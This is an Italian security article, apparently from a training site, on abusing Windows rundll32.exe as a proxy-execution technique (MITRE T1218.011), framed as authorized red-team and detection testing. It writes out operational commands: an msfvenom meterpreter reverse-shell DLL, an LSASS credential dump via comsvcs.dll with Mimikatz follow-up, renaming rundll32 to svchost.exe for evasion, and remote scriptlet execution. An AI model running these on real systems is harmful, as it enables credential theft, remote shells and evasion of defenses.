Proxy Execution via Rundll32: System Binary Proxy Execution Rundll32 (T1218.011)

Rundll32.exe è un binario di sistema Windows firmato Microsoft, progettato per caricare ed eseguire funzioni esportate da librerie DLL. La sua natura legittima e la firma digitale ne fanno un candidato ideale per l'abuso da parte degli attaccanti, che lo sfruttano come proxy di esecuzione per aggirare controlli basati su allowlist di processi e ridurre l'attenzione degli EDR.

La tecnica ricade nella tattica TA0005 (Defense Evasion) e attraversa trasversalmente le fasi Execution, Persistence e Command & Control della kill chain. Un attaccante può invocare rundll32.exe libreria.dll,Funzione per eseguire codice arbitrario, caricare Control Panel Item (.cpl) tramite le funzioni non documentate Control_RunDLL e Control_RunDLLAsUser di shell32.dll, oppure eseguire JavaScript inline con la sintassi mshtml,RunHTMLApplication, comportamento reso celebre dal fileless malware Poweliks.

I dati MITRE ATT&CK documentano un impatto rilevante: 26 gruppi APT, 69 famiglie di malware e 8 campagne censite fanno leva su questo LOLBIN. Tra le tecniche di offuscamento più insidiose figurano la chiamata per ordinale (rundll32.exe file.dll,#1), il rinomino del binario stesso per evadere detection basate su nome processo, e lo sfruttamento della logica di risoluzione Unicode/ANSI che porta rundll32 a cercare varianti FunctionW e FunctionA prima della funzione richiesta, consentendo di nascondere payload dietro nomi esportati apparentemente innocui.

In un contesto di red team autorizzato, rundll32 rappresenta un vettore di Defense Evasion estremamente versatile. La forma canonica di invocazione è la più diretta:

rundll32.exe C:\Windows\Temp\payload.dll,EntryPoint

Dove EntryPoint deve essere una funzione esportata con firma compatibile (tipicamente void __stdcall Function(HWND, HINSTANCE, LPSTR, int)). Per generare rapidamente un template DLL compatibile si può usare msfvenom (open source, incluso in Metasploit Framework) con msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f dll -o payload.dll, oppure sfruttare Cobalt Strike (a pagamento) tramite l'output packaged DLL del listener HTTP, che è esattamente il pattern osservato in C0021 e in C0015 con caricamento via svchost.

Per simulare la variante fileless in stile Poweliks, la sintassi JavaScript sfrutta mshtml.dll per eseguire scriptlet remoti. Per esercizi lab-safe, ospitare lo scriptlet su un web server interno e invocare la catena con GetObject("script:http-interno/test.sct") consente di validare le regole di detection senza uscire dal perimetro.

Un'altra tecnica interessante per la simulazione di Magic Hound e UNC3886 è il dump di LSASS tramite la libreria legittima comsvcs.dll:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID_LSASS> C:\temp\lsass.dmp full

Richiede privilegi SeDebugPrivilege e produce un dump analizzabile offline con Mimikatz (open source) tramite sekurlsa::minidump e sekurlsa::logonPasswords. La stessa catena è documentata nella campagna C0018 contro AvosLocker.

Per evasione avanzata, il red team può replicare il pattern Daggerfly rinominando il binario: copy C:\Windows\System32\rundll32.exe C:\Users\Public\svchost.exe e invocando il payload dal nuovo eseguibile. Questo test valida se le detection sono ancorate al nome processo (debole) o all'hash/signature del binario Microsoft (robusto).

La chiamata per ordinale è utile per esercitare regole basate sul parsing degli argomenti: rundll32.exe malicious.dll,#1 nasconde il nome della funzione. Per l'esecuzione di scriptlet remoti tramite librerie legittime, si può testare zipfldr.dll con RouteTheCall e ieframe.dll con OpenURL per verificare la copertura delle regole su LOLBIN meno noti.

Per sviluppo di DLL custom con export multipli offuscati (pattern W/A), MinGW-w64 (open source) è sufficiente: definire ExampleFunctionW, ExampleFunctionA benigne e ExampleFunction malevola verifica se il SIEM analizza il comportamento post-load o solo il nome invocato.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.